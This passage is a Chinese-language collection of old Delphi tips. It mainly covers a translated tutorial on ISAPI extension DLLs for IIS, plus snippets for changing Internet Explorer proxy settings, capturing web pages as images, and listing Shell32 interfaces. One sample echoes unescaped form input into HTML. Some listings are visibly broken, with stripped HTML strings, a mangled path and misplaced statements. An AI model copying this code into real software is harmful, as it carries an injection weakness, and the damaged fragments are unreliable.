function HttpExtensionProc( var ECB: TEXTENSION_CONTROL_BLOCK ): DWORD;

stdcall;

var

ResStr: string;

StrLen: Integer;

begin

ECB.lpszLogData := 'Delphi DLL Log';

ECB.dwHTTPStatusCode := 200;

ResStr := '

' +

'

Test server results

' +

'

Isapi says hello to DevRel

';

ResStr := Format(

'HTTP/1.0 200 OK'#13#10+

'Content-Type: text/html'#13#10+

'Content-Length: %d'#13#10+

'Content:'#13#10#13#10'%s', [Length(ResStr), ResStr]);

StrLen := Length(ResStr);

ECB.WriteClient(ECB.ConnID, Pointer(ResStr), StrLen, 0);

Result := HSE_STATUS_SUCCESS;

end;

exports

GetExtensionVersion,

HttpExtensionProc;

begin

end.

为了运行这个DLL程序，您应该把它复制到您的NT服务器下的脚本目录中去。在我的NT4.0

机器中,它就像这

样：

c:.dll

在这个例子中，我已经创建了我的名为“mystuff”的目录,它只不过是用来存储我创建的

ISAPI DLLs。您的

目录，当然和我的机器上的不完全一样，取决于您的“inetsrv”目录位置和其它因素。

为成功调用这个DLL，您应该在您的HTML页上增添这个超链接：

<A HREF="/scripts/mystuff/isapi1.dll" >ISAPI One</A><BR>

当用户点击这个超链接时，ISAPI1 Dll会被呼叫，然后字符串“Hello from ISAPI”会显

示在用户的浏览器

上。如果您并不是把 ISAPI.DLL放在 mystuff 目录下，那么您应该修改上面的HTML代码

来使之与您的情况

适应。注意，您的目录必须与目录 inetsrv 有关，不应，也不能包含您的整个DLL所在的

目录。

下面是呼叫的完整的HTML脚本：

<HTML>

<HEAD>

<TITLE>CharlieC Home Page</TITLE>

</HEAD>

<BODY>

<H1>My Home Page </H1>

<P>

This is the home page for my home computer.

<P>

<A HREF="/scripts/mystuff/isapi1.dll" >ISAPI One</A><BR>

</BODY>

</HTML>

注意，如果您多次把程序ISAPI1.DLL复制到 mystuff 目录下，在每一次复制之前您应该

关掉网络服务器的

万维网端口。这是因为，在第一次复制这个DLL时，您可以不受限制，但在此之后，它就

属于服务器了。因

此，在您复制第一次拷贝的更新版本时，因当关掉万维网服务。您可以使用网络管理程序

来关掉万维网服

务。这个程序应该在微软网络管理程序组（Microsoft Internet Server group）下面，

在安装网络信息服

务时被安装到程序管理器（Explorer/Program Manager）下。

与 TExtensionControlBlock 一起工作

通过本文中的这一要点，您能够建立您的第一个ISAPI DLL，并且能在第二台机器上的网

页浏览器调用它。

在本文中接下来的ISAPI的其余部分将会更加深入。

这里是HttpExtensionProc参数中比较复杂的部分

PExtensionControlBlock = ^TExtensionControlBlock;

TExtensionControlBlock = packed record

cbSize: DWORD; // = sizeof(TExtensionControlBlock)

dwVersion: DWORD; // version info of this spec

ConnID: HCONN; // Context Do not modify!

dwHttpStatusCode: DWORD; // HTTP Status code

// null terminated log info specific to this Extension DLL

lpszLogData: array [0..HSE_LOG_BUFFER_LEN-1] of Char;

lpszMethod: PChar; // REQUEST_METHOD

lpszQueryString: PChar; // QUERY_STRING

lpszPathInfo: PChar; // PATH_INFO

lpszPathTranslated: PChar; // PATH_TRANSLATED

cbTotalBytes: DWORD; // Total bytes from client

cbAvailable: DWORD; // Available number of bytes

lpbData: Pointer; // pointer to cbAvailable bytes

lpszContentType: PChar; // Content type of client data

GetServerVariable: TGetServerVariableProc;

WriteClient: TWriteClientProc;

ReadClient: TReadClientProc;

ServerSupportFunction: TServerSupportFunctionProc;

end;

注意到这个纪录中包含了上面提到过的ConnID字段，并且向 WriteClient 传送第一个参

数。

这个纪录中的第一个参数是为版本控制而设的。它应该是TExtensionControlBlock的大小

的规定。如果微软公

司改变了它的结构，那么它们能够通过检查纪录的大小来判断它们正在处理的结构版本。

您永远也不要这个纪

录中的前三个字段，它们早已被ISAPI填充，在您的程序中，它们只能被访问，而不能被

改变。

这个纪录中最重要的字段可能就是lpszQueryString了，它包含了从服务器上传来的请求

的信息。例如，假设您

已经创建了一个名叫 ISAPI1.Dll。为了调用这个DLL，您就要在您的浏览器的一页上创建

一个像这样的HREF

[注：HTML语言中的一种格式（译者）] ：

<A HREF="/scripts/mystuff/test1.dll">Test One</A>

如果您希望响应这个DLL，您就要对上面那行做这样的改动：

<A HREF="/scripts/mystuff/test1.dll?MyQuery">Test One</A>

假如HTML代码段中有像上面两行中的第二行，那么，您的DLL就会在lpszQueryString参数

中得到“MyQuery”

的字符串，特别要注意跟在请求字符串后的请求标志的使用。

当然，您可以随心所欲地改变请求字符串。例如，您可以这样写：

<A HREF="/scripts/mystuff/test1.dll?ServerName">Test One</A>

在这个请求中，这个DLL会回答服务器的名称。您在传递这个参数时，不受任何限制。您

可以传递任何您想要

的东西，而且，如何分析DLL中的信息也由您的喜好决定。

当您从服务器返回信息至浏览器时，您使用到了这个纪录中的“WriteClient”函数指针

。在初始化这个指针

时您不需做任何事；它已经自动地有网络信息服务器传递给您了。

CGI应用程序的作者会注意到传送请求字符串的语法十分熟悉。事实上，ISAPI跟随了CGI

的大多数习惯，在

TExtensionControlBlock中的多数字段可以简单地被CGI技术借用。

在TExtensionControlBlock中的另一个关键字段是 lpbData ，它包含了从浏览起上传给

您的附加信息。

例如，您有一个伴随几个字段的HTML窗体，这些自断中包含的信息就会被一个叫做“

lpData”的指针传

递。本文中的下一个主题，“从‘确认’按钮中获得信息”，将会着重讲述怎样处理这种

情况。

到现在为止我已经介绍了TExtensionControlBlock中的四个关键字段:

WriteClient: 一个能够让您传递格式化的HTML数据到浏览器上的指针。这个函数用到了

TExtensionControlBlock的ConnID字段。

lpszQueryString: 从浏览骑上传来的请求。

lpbData: 从浏览器上传给你的人一的附加数据。通常是一个HTML窗体的任意字段的内容

。我将在“确认

按钮”这部分进一步讨论。

要获得其他TExtensionControlBlock中的字段是如何工作的感觉，最好的办法就是亲自在

浏览其中将他们

做对照。换句话说，您会希望创建一个HTML页，使得用能够调用客户端的ISAPI DLL。这

个ISAPI DLL的目

的仅仅是在HTML中格式话TExtensionControlBlock中的每一个字段，然后把它们传回浏览

器。这样就把您

的浏览器变成了一个有点可怕的调试器，来显示TExtensionControlBlock中的所有字段。

这里有一个程序，由Borland公司的 Danny Thorpe 编写，他会执行这个任务：

library test1;

uses

Windows,

SysUtils,

HTTPExt;

function GetExtensionVersion( var Ver: THSE_VERSION_INFO ):

BOOL; stdcall;

begin

Ver.dwExtensionVersion := $00010000; // 1.0 support

Ver.lpszExtensionDesc := 'A test DLL written in Delphi 2.0';

Result := True;

end;

function HttpExtensionProc( var ECB: TEXTENSION_CONTROL_BLOCK ):

DWORD; stdcall;

var

ResStr: string;

StrLen: Integer;

Buf: array [0..1024] of Char;

begin

ECB.lpszLogData := 'Delphi DLL Log';

ECB.dwHTTPStatusCode := 200;

ResStr := Format(

'<HTML><TITLE>Test server result</TITLE>' +

'<H1>Test server results</H1>' +

'Size = %d<BR>'+

'Version = %.8x<BR>'+

'ConnID = %.8x<BR>'+

'Method = %s<BR>' +

'Query = %s<BR>' +

'PathInfo = %s<BR>'+

'PathTranslated = %s<BR>'+

'TotalBytes = %d<BR>'+

'AvailableBytes = %d<BR>'+

'ContentType = %s<BR><BR>'+

'<H1>Some Server Variables</H1>',

[ECB.cbSize, ECB.dwVersion, ECB.ConnID,

ECB.lpszMethod, ECB.lpszQueryString,

ECB.lpszPathInfo, ECB.lpszPathTranslated,

ECB.cbTotalBytes, ECB.cbAvailable,

ECB.lpszContentType]);

with ECB do

begin

StrLen := Sizeof(Buf);

GetServerVariable(ConnID, 'REMOTE_ADDR', @Buf, StrLen);

ResStr := ResStr + 'REMOTE_ADDR = '+Buf+'<BR>';

StrLen := SizeOf(Buf);

GetServerVariable(ConnID, 'REMOTE_HOST', @Buf, StrLen);

ResStr := ResStr + 'Remote_Host = '+Buf+'<BR>';

StrLen := SizeOf(Buf);

GetServerVariable(ConnID, 'REMOTE_USER', @Buf, StrLen);

ResStr := ResStr + 'Remote_User = '+Buf+'<BR>';

StrLen := SizeOf(Buf);

GetServerVariable(ConnID, 'SERVER_NAME', @Buf, StrLen);

ResStr := ResStr + 'SERVER_NAME = '+Buf+'<BR>';

StrLen := SizeOf(Buf);

GetServerVariable(ConnID, 'SERVER_PORT', @Buf, StrLen);

ResStr := ResStr + 'SERVER_PORT = '+Buf+'<BR>';

StrLen := SizeOf(Buf);

GetServerVariable(ConnID, 'SERVER_PROTOCOL', @Buf, StrLen);

ResStr := ResStr + 'SERVER_PROTOCOL = '+Buf+'<BR>';

StrLen := SizeOf(Buf);

GetServerVariable(ConnID, 'SERVER_SOFTWARE', @Buf, StrLen);

ResStr := Format('%sSERVER_SOFTWARE = %s<BR>'+

'ThreadID = %.8x<BR>',[ResStr, Buf, GetCurrentThreadID]);

end;

ResStr := ResStr + '</HTML>';

ResStr := Format(

'HTTP/1.0 200 OK'#13#10+

'Content-Type: text/html'#13#10+

'Content-Length: %d'#13#10+

'Content:'#13#10#13#10'%s', [Length(ResStr), ResStr]);

StrLen := Length(ResStr);

ECB.WriteClient(ECB.ConnID, Pointer(ResStr), StrLen, 0);

Result := HSE_STATUS_SUCCESS;

end;

exports

GetExtensionVersion,

HttpExtensionProc;

begin

end.

为了调用这个DLL，您应该建立一个包括下面这行的 HRML 脚本

<A HREF="/scripts/mystuff/test1.dll">Test One</A> <BR>

从“确认”按钮获得信息

通常向您发送信息的HTML窗体中都有一个确认按钮。只要信息量小于49KB，您就可以

认为TExetensionControlBlock中的 lpbData 字段是可用的。这里显示了您可以如何在大

多数情况下获得由这个字段的指针发来的信息：

var

S: string;

begin

…

S := PChar(ECB.lpbData);

…

end;

如果从这个字段传来的信息大于48KB，那么您必须呼叫 ReadClient 来获得其余的信

息。

如果您想要确切地知道在 lpbData 字段中哪些信息是可用的，您可以使用下面两个

函数把数据传回到您的网页浏览器中：

function SetUpResString: string;

begin

Result := '<HTML>' +

'<TITLE>Test server result</TITLE>' +

'<H1>Test server results</H1>' +

'<BODY>lpbData = %s </BODY>' +

'</HTML>';

end;

function HttpExtensionProc(var ECB: TExtensionControlBlock):

DWORD; stdcall;

var

ResStr: string;

StrLen: Integer;

S, S1: string;

begin

ECB.lpszLogData := 'Delphi DLL Log';

ECB.dwHTTPStatusCode := 200;

ResStr := SetUpResString;

S := PChar(ECB.lpbData);

ResStr := Format(ResStr, [S]);

StrLen := Length(ResStr);

ECB.WriteClient(ECB.ConnID, Pointer(ResStr), StrLen, 0);

Result := HSE_STATUS_SUCCESS;

end;

假设您已经有了附有下面代码的HTML窗体：

<FORM ACTION="/scripts/mystuff/isapi2.dll" METHOD="POST"

ENCTYPE="application/x-www-form-urlencoded">

<P>

Enter Number to Square: <INPUT NAME="GetSquare" VALUE=""

MAXLENGTH="25" SIZE=25>

<P>

<INPUT TYPE=SUBMIT VALUE="Submit" NAME="GetSquare">

</FORM>

这段代码会产生一个包含一个供您输入数字的文本区和一个叫做“submit”按钮的窗

体，按钮的名字叫做“GetSquare”。如果有了这个窗体，接着您可以预计上面的两段程

序会返回如下的字符串，假设用户在窗体中的文本区输入了数字23：

lpbData = GetSquare=23&GetSquare=Submit

为了理解这时究竟发生了什么，注意一下从上面函数中摘录HTML语句中的主体部分，

这部分语句驻留在服务器上，反映如下：

'<BODY>lpbData = %s </BODY>' +

如果您研究过上面 HttpExtensionProc 函数中的代码，您会发现就在这句之前，它

使用了 Format 语句中的 %s 参数来代替了 ECB.lpbData 中的值。（如果您不清楚语句

Format 是怎样工作的，请参阅有关的 Delphi 文档）[注：在作者所著的 Delphi2 编程

大全（Delphi2

Unleashed）中的第三章《字符串与文本文件》中有详细说明（译者）]

假设上面所示的窗体中，当用户按下“确认”按钮时，lpbData 传递给

ISAPI DLL的值是：

GetSquare=23&GetSquare=Submit

为了让您有清晰的概念，让我重复一下上面两个语句传回给浏览器的信息是下面的字

符串，您已经看过了：

lpbData = GetSquare=23&GetSquare=Submit

观看这个过程的最好办法试运行下面列出的 ISAPI2 程序。 ISAPI2 和

ISAPI1 差不多，但他包含了上面显示的新的 HttpExtensionProc 函数，并且它还包含了

SetUpResString 这个实用函数。

library Isapi2;

uses

Windows, SysUtils, HTTPExt;

function GetExtensionVersion( var Ver: THSE_VERSION_INFO ):

BOOL; stdcall;

begin

Ver.dwExtensionVersion := $00010000; // 1.0 support

Ver.lpszExtensionDesc := 'DLL written in Delphi 2.0';

Result := True;

end;

function SetUpResString: string;

begin

Result := '<HTML>' +

'<TITLE>Test server result</TITLE>' +

'<H1>Test server results</H1>' +

'<BODY>lpbData = %s </BODY>' +

'</HTML>';

end;

function HttpExtensionProc( var ECB: TEXTENSION_CONTROL_BLOCK ):

DWORD; stdcall;

var

ResStr: string;

StrLen: Integer;

S, S1: string;

Len: Integer;

begin

ECB.lpszLogData := 'Delphi DLL Log';

ECB.dwHTTPStatusCode := 200;

ResStr := SetUpResString;

S := PChar(ECB.lpbData);

ResStr := Format(ResStr, [S]);

StrLen := Length(ResStr);

ECB.WriteClient(ECB.ConnID, Pointer(ResStr), StrLen, 0);

Result := HSE_STATUS_SUCCESS;

end;

exports

GetExtensionVersion,

HttpExtensionProc;

begin

end.

一旦您从窗体中获得了由 lpbData

变量传来的信息，您就能分析这些信息或者把它们返回给用户。比如说，您可以从上面例

子中把数字23抽出来，做平方后返回用户。通过这样做可以使您从用户中获得信息，在这

里是数字，对数字进行一些数学运算，最后把结果返回给用户。这意味着您可以在电波中

创建互动的网页，这可

是现在因特网编程中最流行的哦！

以下是一个通过网络提交数字平方给浏览器的完整的程序代码：

library Isapi3;

{ This code shows how to take input from the user via a browser,

parse that information, and then return an answer to the user.

In particular, the user submits a number, this code squares it,

and then sends the result back to user.

Here is the form from the browser that submits the information

for parsing:

<FORM ACTION="/scripts/mystuff/isapi2.dll" METHOD="POST"

ENCTYPE="application/x-www-form-urlencoded">

<P>

Enter Number to Square: <INPUT NAME="GetSquare" VALUE=""

MAXLENGTH="25" SIZE=25>

<P>

<INPUT TYPE=SUBMIT VALUE="Submit" NAME="GetSquare">

</FORM>

}

uses

Windows, SysUtils, HTTPExt,

StrBox;

function GetExtensionVersion( var Ver: THSE_VERSION_INFO ):

BOOL; stdcall;

begin

Ver.dwExtensionVersion := $00010000; // version 1.0 support

Ver.lpszExtensionDesc := 'ISAPI3.DLL';

Result := True;

end;

// Parse lpbData and retrieve the number the user passed to us.

function ParseData(S: string): Integer;

begin

S := StripLastToken(S, '&');

S := StripFirstToken(S, '=');

Result := StrToInt(S);

end;

function SetUpResString: string;

begin

Result := '<HTML>' +

'<TITLE>Test server result</TITLE>' +

'<H1>Test server results</H1>' +

'<BODY>Answer = %d </BODY>' +

'</HTML>';

end;

function HttpExtensionProc( var ECB: TEXTENSION_CONTROL_BLOCK ):

DWORD; stdcall;

var

ResStr: string;

StrLen: Integer;

S, S1: string;

Num: Integer;

begin

ECB.lpszLogData := 'Delphi DLL Log';

ECB.dwHTTPStatusCode := 200;

ResStr := SetUpResString;

S := PChar(ECB.lpbData);

Num := ParseData(S);

Num := Sqr(Num);

ResStr := Format(ResStr, [Num]);

StrLen := Length(ResStr);

ECB.WriteClient(ECB.ConnID, Pointer(ResStr), StrLen, 0);

Result := HSE_STATUS_SUCCESS;

end;

exports

GetExtensionVersion,

HttpExtensionProc;

begin

end.

这段代码从按下确认按钮的用户那里接受下面的字符串，用户要求平方后的数字：

GetSquare=5&GetSquare=Submit

假设这样输入，这段代码会通过因特网返回用户下面的字符串：

Answer = 25

一句话，用户输入数字5，你返回用户数字25。如果用户提交数字10，那么您返回数

字100。这看起来微不足道，但在这里重要的是因特网上发生的行为[注：指互动网页（译

者）]

分析用户传来的函数像这样：

// Parse lpbData and retrieve the number the user passed to us.

function ParseData(S: string): Integer;

begin

S := StripLastToken(S, '&');

S := StripFirstToken(S, '=');

Result := StrToInt(S);

end;

这两个语句在单元中，在本文开头提到过，也包含在我的站点上。［注:这个文件在

网络上几乎到处可见,您也可以向译者索取(译者)］[

在本篇文章中,关于ISAPI我只想谈这么多了。这些内容对于启发您利用这项优越的技

术并获得乐趣来说应该是够用的了。接下来我要谈一下 GetServerVariable 、

ReadClient 这两个语句，在这方面我只进行了极其有限的试验。在本文中，我附加了

HTTPEXT.PAS

文件，因为除了这分关键文档，在其他地方您不会找到它。

GetServerVariable 和 ReadClient 语句

正如您的CGI应用程序中的请求信息一样，您可以使用语句来从服务器上获得信息。

下面是呼叫这个语句的例子：

Len := HseMaxExtDllNameLen;

SetLength(S1, Len);

Dec(Len);

ECB.GetServerVariable(ECB.ConnID,

'CONTENT_LENGTH',

PChar(S1),

Len);

首先，这段代码设定了保留从服务器上取得的信息的缓冲区的长度。接着它呼叫服务

器并发出请求，在本例中，它要求获得服务器传来的信息的"CONTENT_LENGTH"。

微软公司的文献告诉我们，您可以通过 GetServerVariable 的第二个参数来传递跟

着的字符串：

AUTH_TYPE 它包含了使用授权的类型。比如，如果使用的是基本（basic）授权，那么

字符串就是"basic"；如果是 NT challenge

回应，字符串就是"NTLM"。其他的授权属尤其对应的字符串。因为不断有新的授权类型被

增添到服务器上，列出所有可能的字符串是不可行的。如果字符串为空，那么并没有使用

任何授权。

CONTENT_LENGTH 脚本预计从客户端回收到的字节数。

CONTENT_TYPE 由请求布告的主体部分提供的信息的内容类型。[注：小弟才疏学浅，a

POST request 暂译作"请求布告"，望方家指正（译者）]

PATH_INFO 附加的路由信息，由客户机提供。它包含了跟在脚本名字之后的URL的漫游路

由。如果有的话，它在请求字符串的前面。

PATH_TRANSLATED 它是 PATH_INFO 的值，但包含了扩充到一个路径标志的所有虚拟路由

的名字。

QUERY_STRING 跟在参考这个脚本的URL中的"？"后面的信息。

REMOTE_ADDR 发出请求的客户机或其代理商（例如，网关或防火墙）的IP地址。

REMOTE_HOST 发出请求的客户机或其代理商（例如，网关或防火墙）的主机名。

REMOTE_USER 它包含了由客户机提供并且由服务器授权的用户名。如果返回空串那么用户

使你名的（但是经过授权）。

UNMAPPED_REMOTE_USER 它是有如下特征的用户的名称：该用户向NT用户帐目发出请求（

这是他以身份出现），在此之前ISAPI应用程序过滤起映射了该用户。

REQUEST_METHOD 是 HTTP 请求方法。

SCRIPT_NAME 执行的脚本程序名称。

SERVER_NAME 当它以自参考URLs形式出现时的主机名或IP地址。

SERVER_PORT 接受请求的TCP/IP的端口。

SERVER_PORT_SECURE 一个非0即1的字符串。当请求由安全端口处理时，它是1；否则是0

。

SERVER_PROTOCOL 接受与这个请求相关的协议的信息的名称和版本。他通常是 HTTP/1.0

。

SERVER_SOFTWARE 是ISAPI应用DLL程序运行时所在的网页服务器的名称和版本。

ALL_HTTP 先前的变量并没有分析全部的HTTP字段头。这些变量从HTTP_<字段头名>中得出

。字段头（由行标分离）包含了各自的字符串，这些字符串并不会终止。

HTTP_ACCEPT HTTP字段头的特例。接受的值是：字段由逗号（，）分离。例如：如果下

面的几行是HTTP头的一部分：

接受：*/*，q=0.1

则URL（2.0新版本的特性）给出它的基础部分。

要注意的是，上面给出的信息片是由 TExtensionControlBlock 纪录自动传递的。因

此您不需要调用GetServerVariable。不过，如果您确有需要，特别是您要从

ReadClient 中获得信息和需要知道要读入多少信息时，您可以调用它。

在很多时候，您不需要调用 ReadClient 。但是，您浏览器发出的信息量大于48KB

的时候，您需要调用 ReadClient 来获取其余的信息。


改变代理服务器
更改IE代理服务器设置，不重新启动IE，代码如下：

但如何设置某种协议为一特定地址呢，BYPASS参数怎么用?

其实在proxyserver中http=205.207.118.51:80;https=205.207.118.51:80;gopher=205.207.118.51:80;socks=205.207.118.51:80是分别设置,如果只有地址和端口则是所有协议使用相同地址

///Coder:Kingron

function ChangeProxy(const Proxy, Port,ByPass: string; const bEnabled: boolean = True): boolean;

var

reg: Tregistry;

info: INTERNET_PROXY_INFO;

Fproxy:string;

begin

Result := False;

FProxy:=Format('%s:%s',[Proxy,Port]);

reg := Tregistry.Create;

try

reg.RootKey := HKEY_CURRENT_USER;

if reg.OpenKey('Settings', True) then

begin

reg.Writestring('ProxyServer', Fproxy);

reg.WriteInteger('ProxyEnable', integer(bEnabled));

info.dwAccessType := INTERNET_OPEN_TYPE_PROXY;

info.lpszProxy := pchar(proxy);

info.lpszProxyBypass := pchar(ByPass);

InternetSetOption(nil, INTERNET_OPTION_PROXY, @info, SizeOf(Info));

InternetSetOption(nil, INTERNET_OPTION_SETTINGS_CHANGED, nil, 0);

// InternetSetOption(nil, INTERNET_OPTION_REFRESH, nil, 0);

// Sendmessage(HWND_BROADCAST, WM_SETTINGCHANGE, 0, 0);

Result:=True;

end

finally

reg.CloseKey;

reg.free;

end;

end;

：feijun, 时间：2001-6-14 11:32:53, ID：566267

user urlmon,wininet;

procedure qiehuanproxy(const proxyname:string);

var info:TInternetProxyInfo;

lngth:integer;

h:integer;

proxy :pChar;

bypass :PChar;

begin

proxy:=pchar(proxyname);//proxy address:port

bypass:=pChar('');

info.dwAccessType := INTERNET_OPEN_TYPE_PROXY ;

info.lpszProxy :=proxy;

info.lpszProxyBypass:=bypass;

lngth:=sizeof(info);

h:=UrlMkSetSessionOption(INTERNET_OPTION_PROXY ,@info,lngth,0);

end;

InternetSetOption(nil,INTERNET_OPTION_REFRESH, nil,0);

InternetSetOption(nil,INTERNET_OPTION_SETTINGS_CHANGED, nil,0);

*********************************************************************

unit WininetAppend;

interface

uses

Windows;

type

PInternetPerConnOption = ^INTERNET_PER_CONN_OPTION;

INTERNET_PER_CONN_OPTION = record

dwOption: DWORD;

case Integer of

0: (dwValue: DWORD);

1: (pszValue:LPTSTR);

2: (ftValue: FILETIME);

end;

PInternetPerConnOptionList = ^INTERNET_PER_CONN_OPTION_LIST;

INTERNET_PER_CONN_OPTION_LIST = record

dwSize :DWORD;

pszConnection :LPTSTR;

dwOptionCount :DWORD;

dwOptionError :DWORD;

pOptions :PInternetPerConnOption;

end;

//

// Options used in INTERNET_PER_CONN_OPTON struct

//

const

INTERNET_PER_CONN_FLAGS = 1;

INTERNET_PER_CONN_PROXY_SERVER = 2;

INTERNET_PER_CONN_PROXY_BYPASS = 3;

INTERNET_PER_CONN_AUTOCONFIG_URL = 4;

INTERNET_PER_CONN_AUTODISCOVERY_FLAGS = 5;

//

// PER_CONN_FLAGS

//

PROXY_TYPE_DIRECT = $00000001; // direct to net

PROXY_TYPE_PROXY = $00000002; // via named proxy

PROXY_TYPE_AUTO_PROXY_URL = $00000004; // autoproxy URL

PROXY_TYPE_AUTO_DETECT = $00000008; // use autoproxy detection

//

// PER_CONN_AUTODISCOVERY_FLAGS

//

AUTO_PROXY_FLAG_USER_SET = $00000001; // user changed this setting

AUTO_PROXY_FLAG_ALWAYS_DETECT = $00000002; // force detection even when its not needed

AUTO_PROXY_FLAG_DETECTION_RUN = $00000004; // detection has been run

AUTO_PROXY_FLAG_MIGRATED = $00000008; // migration has just been done

AUTO_PROXY_FLAG_DONT_CACHE_PROXY_RESULT = $00000010; // don't cache result of host=proxy name

AUTO_PROXY_FLAG_CACHE_INIT_RUN = $00000020; // don't initalize and run unless URL expired

AUTO_PROXY_FLAG_DETECTION_SUSPECT = $00000040; // if we're on a LAN & Modem, with only one IP, bad?!?

INTERNET_OPTION_PER_CONNECTION_OPTION = 75;

implementation

end.

////////////////////////////////////////

uses

Wininet, WininetAppend;

function GetProxyInfo(var AutoDetect,AutoProxyUrl,

DirectConnect,ProxyConnect:boolean;var AutoProxyUrlAddress,

ByPassAddress,ProxyServer:String):boolean;

var

nSize : DWORD;

List : INTERNET_PER_CONN_OPTION_LIST;

Option: array[0..3] of INTERNET_PER_CONN_OPTION;

begin

nSize := sizeof(INTERNET_PER_CONN_OPTION_LIST);

Option[0].dwOption := INTERNET_PER_CONN_AUTOCONFIG_URL;

Option[1].dwOption := INTERNET_PER_CONN_FLAGS;

Option[2].dwOption := INTERNET_PER_CONN_PROXY_BYPASS;

Option[3].dwOption := INTERNET_PER_CONN_PROXY_SERVER;

List.dwSize := sizeof(INTERNET_PER_CONN_OPTION_LIST);

List.pszConnection := nil;

List.dwOptionCount := 4;

List.dwOptionError := 0;

List.pOptions := @Option;

result := InternetQueryOption(nil, INTERNET_OPTION_PER_CONNECTION_OPTION, @List, nSize);

if not result then exit;

if(Option[0].pszValue <> nil) then

begin

AutoProxyUrlAddress := StrPas(Option[0].pszValue);

GlobalFreePtr(Option[0].pszValue);

end

else

AutoProxyUrlAddress := '';

DirectConnect := (Option[1].dwValue and PROXY_TYPE_DIRECT ) = PROXY_TYPE_DIRECT;

ProxyConnect := (Option[1].dwValue and PROXY_TYPE_PROXY ) = PROXY_TYPE_PROXY;

AutoProxyUrl := (Option[1].dwValue and PROXY_TYPE_AUTO_PROXY_URL) = PROXY_TYPE_AUTO_PROXY_URL;

AutoDetect := (Option[1].dwValue and PROXY_TYPE_AUTO_DETECT) = PROXY_TYPE_AUTO_DETECT;

if(Option[2].pszValue <> nil) then

begin

ByPassAddress := StrPas(Option[2].pszValue);

GlobalFreePtr(Option[2].pszValue);

end

else

ByPassAddress := '';

if(Option[3].pszValue <> nil) then

begin

ProxyServer := StrPas(Option[3].pszValue);

GlobalFreePtr(Option[3].pszValue);

end

else

ProxyServer := '';

end;

function SetProxyInfo(const ProxyConnect:boolean;const ByPassAddress,ProxyServer:String):boolean;

var

nSize : DWORD;

List : INTERNET_PER_CONN_OPTION_LIST;

Option: array[0..2] of INTERNET_PER_CONN_OPTION;

begin

nSize := sizeof(INTERNET_PER_CONN_OPTION_LIST);

Option[0].dwOption := INTERNET_PER_CONN_FLAGS;

if ProxyConnect then

Option[0].dwValue := PROXY_TYPE_PROXY

else

Option[0].dwValue := PROXY_TYPE_DIRECT;

Option[1].dwOption := INTERNET_PER_CONN_PROXY_BYPASS;

Option[1].pszValue := PChar(ByPassAddress);

Option[2].dwOption := INTERNET_PER_CONN_PROXY_SERVER;

Option[2].pszValue := PChar(ProxyServer);

List.dwSize := sizeof(INTERNET_PER_CONN_OPTION_LIST);

List.pszConnection := nil;

List.dwOptionCount := 3;

List.dwOptionError := 0;

List.pOptions := @Option;

result := InternetSetOption(nil, INTERNET_OPTION_PER_CONNECTION_OPTION, @List, nSize);

end;


如何把正在浏览的网页用图片的形式保存下来
注意：不是直接print screen or Alt-printScreen,因为有的时候窗口没有最大化，

网页只能被看见一部分， 同时我不希望我的程序的界面（诸如菜单条等）和网页一起

保存下来。

如果网页的垂直方向上大于屏幕的高，则只保存网页第一行开始的第一屏。

From DFW(Holyowl) 时间：2001-4-29 12:22:20, ID：518930

A Sample:

procedure TForm1.Button1Click(Sender: TObject);

var

ViewObject: IViewObject;

sourceDrawRect: TRect;

begin

if Webbrowser1.Document <> nil then

try

webbrowser1.Document.QueryInterface(IViewObject, ViewObject);

if ViewObject <> nil then

try

sourceDrawRect := Rect(0, 0, Image1.Width, Image1.Height);

ViewObject.Draw(DVASPECT_CONTENT, 1, nil, nil, Self.Handle,

image1.Canvas.Handle, @sourceDrawRect, nil, nil, 0);

finally

ViewObject._Release;

end;

except

end;

end;


HTML文件的预览（如同资源管理器一样）
资源管理器用的是一个叫webvw的activex控件,你可以自己导入使用。

预览是绝对没问题，调用ThumbCtl的displayFile方法即可。但是否能够当图片，你自己研究一下吧。


Shell32.dll中的接口
Shell32; // Microsoft Shell Controls And Automation

Dispatch IFolderViewOC; // Folder View Events Forwarder Object

GUID={9BA05970-F6A8-11CF-A442-00A0C90A8F39};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

function SetFolderView(pdisp:IDispatch);

Dispatch DShellFolderViewEvents; // Event interface for ShellFolderView

GUID={62112AA2-EBE4-11CF-A5FB-0020AFE7292D};

function SelectionChanged;

function EnumDone;

Class ShellFolderViewOC; // Shell Folder View Events Router.

GUID={9BA05971-F6A8-11CF-A442-00A0C90A8F39};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

function SetFolderView(pdisp:IDispatch);

function SelectionChanged;

function EnumDone;

Dispatch DFConstraint; // Constraint used in search command

GUID={4A3DF050-23BD-11D2-939F-00A0C91EEDBA};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Name: BSTR;

property-get Value: variant;

Dispatch ISearchCommandExt; // DocFind automation interface

GUID={1D2EFD50-75CE-11D1-B75A-00A0C90564FE};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

